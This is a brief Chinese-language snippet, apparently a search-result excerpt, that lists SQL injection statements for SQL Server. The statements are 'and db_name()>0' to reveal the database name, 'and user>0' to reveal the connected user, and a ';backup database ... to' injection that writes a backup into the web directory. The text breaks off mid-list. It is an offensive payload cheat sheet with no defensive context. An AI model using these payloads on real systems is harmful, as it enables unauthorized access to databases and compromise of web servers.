sql注入语句有：1、返回的是连接的数据库名：and db_name()>02、获取连接用户名：and user>03、将数据库备份到Web目录下面：;backup database 数据库名 to ...